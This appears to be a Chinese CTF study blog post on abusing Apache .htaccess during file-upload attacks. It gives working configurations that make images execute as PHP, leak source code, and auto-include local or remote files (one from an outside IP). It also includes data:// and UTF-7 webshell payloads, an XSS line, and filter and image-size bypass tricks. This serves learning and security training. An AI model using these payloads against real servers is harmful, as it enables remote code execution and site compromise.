.htaccess学习

写在前面的话:好久没更新了,笔记在本地存了一把,还是上传到博客好些。

.htaccess学习

基本概念

.htaccess 文件是Apache中有一种特殊的文件,其提供了针对目录改变配置的方法,即在一个特定的文档目录中放置一个包含一条或多条指令的文件,以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过 Apache 的 AllowOverride 指令来设置。

.htaccess 中有 # 单行注释符,且支持 \ 拼接上下两行。

作用范围

.htaccess 文件中的配置指令作用于 .htaccess 文件所在的目录及其所有子目录,但是很重要的、需要注意的是,其上级目录也可能会有 .htaccess 文件,而指令是按查找顺序依次生效的,所以一个特定目录下的 .htaccess 文件中的指令可能会覆盖其上级目录中的 .htaccess 文件中的指令,即子目录中的指令会覆盖父目录或者主配置文件中的指令。

配置文件

启动 .htaccess,需要在服务器的主配置文件中将 AllowOverride 设置为 All。在apache的配置文件中。

#启动.htaccess文件的使用
AllowOverride All

.htaccess常见指令

SetHandler

SetHandler 指令可以强制所有匹配的文件被一个指定的处理器处理。

用法
SetHandler handler-name|None
例如
SetHandler application/x-httpd-php
此时当前目录及子目录下所有文件都会被当成php解析
SetHandler server-status
开启Apache的服务器状态信息,查看所有访问本站的记录

AddHandler

AddHandler 指令可以实现在文件扩展名与特定的处理器之间建立映射。

用法
AddHandler handler-name extensive [extensive] ...
例如
AddHandler cgi-script .xxx
将扩展名为.xxx的文件作为CGI脚本来处理

AddType

AddType 指令可以将给定的文件扩展名映射到指定的内容类型。

用法
AddType media-type extensive [extensive] ...
例如
AddType application/x-httpd-php .gif
将.gif后缀的文件当作php解析
又比如
AddType application/x-httpd-php png jpg gif
将png jpg gif多个后缀的文件当作php解析

php_value

当使用 PHP 作为 Apache 模块时,可以用 Apache 的配置文件(例如 httpd.conf)或 .htaccess 文件中的指令来修改 PHP 的配置设定。但是需要有开启 AllowOverride Options 或 AllowOverride All 权限才可以。

**php_value 指令用来设定指定的 PHP 的配置值。**要清除先前设定的值,把 value 设为 none。但是 php_value 不能用来设定布尔值,如果要设定布尔值的话应该用 php_flag。

用法
php_value name value
例如
php_value auto_prepend_file images.png
设置访问一个php文件时,在该文件解析之前先自动包含并解析image.png文件

.htaccess 的 php_value 只能用于 PHP_INI_ALL 或 PHP_INI_PERDIR 类型的指令。

php_flag

php_flag 指令用来设定布尔值类型的 PHP 配置选项。

用法
php_flag name on|off
例如
php_flag engine 0
将engine设置为0,即在本目录和子目录中关闭php解析,可以造成源码泄露

.htaccess常见利用

源码泄露

我们可以通过 .htaccess 文件的 php_flag 指令对 PHP 的 engine 配置选项进行设定,当把 engine 的值设为 off(或 0)时可以禁用一个本目录和子目录中的 PHP 解析,此时将会造成源码泄露,直接访问能看到源码。

在这里插入图片描述

图片马解析

在文件上传漏洞中经常遇到上传图片马的情况,如果目标环境开启了 .htaccess 并且上传的黑名单没有限制 .htaccess 文件的话,可以先上传 .htaccess 文件,对目标环境的目录进行相应的配置,然后再上传图片,使图片的 PHP 恶意代码得以被直接解析执行。

常用两个指令

SetHandler

可以使用 SetHandler 指令强制将所有匹配的文件被 PHP 处理器处理并解析。

<FilesMatch "images.png">
    SetHandler application/x-httpd-php
</FilesMatch>
将image.png当作php执行
AddType

可以使用 AddType 指令将给定的文件扩展名映射到 PHP 的内容类型。

#将.png文件当作php文件解析
AddType application/x-httpd-php .png

这两种配置都可以使我们上传的非 PHP 类型的 Webshell 被当做 PHP 直接解析。

在这里插入图片描述

图片

文件包含

本地文件包含

在本目录或子目录中有可解析的 PHP 文件时,可以通过 php_value 来设置 auto_prepend_file 或者 auto_append_file 配置选项来让所有的 PHP 文件自动包含一些敏感文件或恶意文件(如WebShell),来触发文件包含。

在实际的文件上传利用中,如果目标环境的当前目录中存在至少一个 PHP 文件且上传黑名单没有限制 .htaccess 文件的话,我们便可以让 index.php 文件包含一个含有 Webshell 的文件来 Getshell,可用于图片马的解析。

php_value auto_prepend_file images.png
或
php_value auto_append_file images.png
远程文件包含

PHP 的 allow_url_include 配置选项这个选项默认是关闭的,如果开启的话就可以进行远程包含。

例如
php_value auto_prepend_file http://192.168.0.181/a.txt
或
php_value auto_append_file http://192.168.0.181/a.txt

远程主机上a.txt内容为

<?php phpinfo();?>

实现目标主机上的php文件都包含这个远程主机上的a.txt并解析。

任意命令执行

主要使用配置项auto_prepend_file或auto_append_file

条件:

  • allow_url_fopen 为 On
  • allow_url_include 为 On
  • 目标环境的当前目录中存在至少一个 PHP 文件
结合php伪协议
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+:
php_value auto_append_file data://text/plian,%3c%3fphp+phpinfo()%3b%3f%3e
如果不使用base64加密则注意需要url编码
解析.htaccess文件

包含.htaccess自身

直接将.htaccess文件当作PHP文件处理(适合环境当前目录或子目录下没有PHP文件的情况下)

例题

在这里插入图片描述

XSS攻击(未)

通过设置 highlight_file

我们可以通过 .htaccess 文件设定 highlight.comment 选项,指定需要高亮的内容,从而进行 XSS。

.htaccess中的内容

php_value highlight.comment '"><script>alert(1);</script>'

index.php中的内容为:

<?php
highlight_file(__FILE__);
// comment

当访问index.php时便会触发 XSS:

几种绕过

绕过<?特殊字符

base64编码绕过

主要就是利用 auto_append_file 和 PHP 伪协议,比如我们在一个图片中写入经过base64编码后的 Webshell,然后我们便可以使用 auto_append_file 配合 php://filter 将其包含进来:

php_value auto_append_file "php://filter/convert.base64-decode/resource=images.png"

在image.png里面写上base64编码后的webshell

直接使用data协议不用上传image.png了
php_value auto_append_file data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8+
UTF-7编码绕过

在一个图片中写入 UTF-7 编码格式的 Webshell

//image.png
+ADw?php eval(+ACQAXw-POST+AFs-whoami+AF0)+ADs?+AD4-

使用 auto_append_file 将其包含进来并设置编码格式为 UTF-7

php_value auto_append_file images.png
php_flag zend.multibyte 1
php_value zend.script_encoding "UTF-7"

也可以使用 php://filer 伪协议进行 UTF-7 与 UTF-8 之间的转换

php_value auto_append_file "php://filter/read=convert.iconv.utf-7.utf-8/resource=images.png"

绕过关键字过滤

绕过对关键字的过滤我们可以使用反斜杠 \ 加换行来实现。比如题目过滤了 type、php 等敏感字符,此时为了利用 .htaccess 解析图片马,我们需要将 .htaccess 写成这样:

AddTy\
pe application/x-httpd-ph\
p .png

# 即: AddType application/x-httpd-php .png

绕过脏字符

即有时候,题目会在我们上传或写入的文件中加入一个混乱的字符(脏字符),由于这些字符不是 .htaccess 文件的语法或指令,所以会使我们的.htaccess文件不生效,出现响应500的问题。为了时我们写入的 .htaccess 文件生效,我们要采用 # 对脏字符进行注释,或使用反斜杠 \ 将换行符转义成普通字符。

绕过上传图片的尺寸限制

适用于题目限制上传图片尺寸。

有时候,在图片上传区会使用 getimagesize() 等函数对上传的图片进行尺寸限制,只允许上传指定大小尺寸的图片,并且会使用 exif_imagetype() 函数读取第一个字节并检查其图片类型。此时如果可以上传 .htaccess 来解析图片的话我们还需要让 .htaccess 的尺寸和经过 exif_imagetype() 检测后的结果符合题目要求。

我们可以使用 exif_imagetype() 函数支持的 WBMP 图像类型进行绕过。WBMP(Wireless Bitmap)是一种移动计算机设备使用的标准图像格式,是一种纯文本二进制图像格式的图片,实例如下:

#define test_width 16
#define test_height 7
static char test_bits[] = {
0x13, 0x00, 0x15, 0x00, 0x93, 0xcd, 0x55, 0xa5, 0x93, 0xc5, 0x00, 0x80,
0x00, 0x60 };

可以看到 WBMP 图像的开头可以使用 # 设置图像的尺寸大小,这正符合我们的要求。所以假设题目限制我们上传的图片尺寸必须为1337×1337,那么我们在上传.htaccess时便可以用 WBMP 来绕过,例如:

#define width 1337
#define height 1337
AddType application/x-httpd-php images.png

参考笔记

皮蛋厂的学习日记 7.5 WEB|.htaccess文件的使用 (qq.com)

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值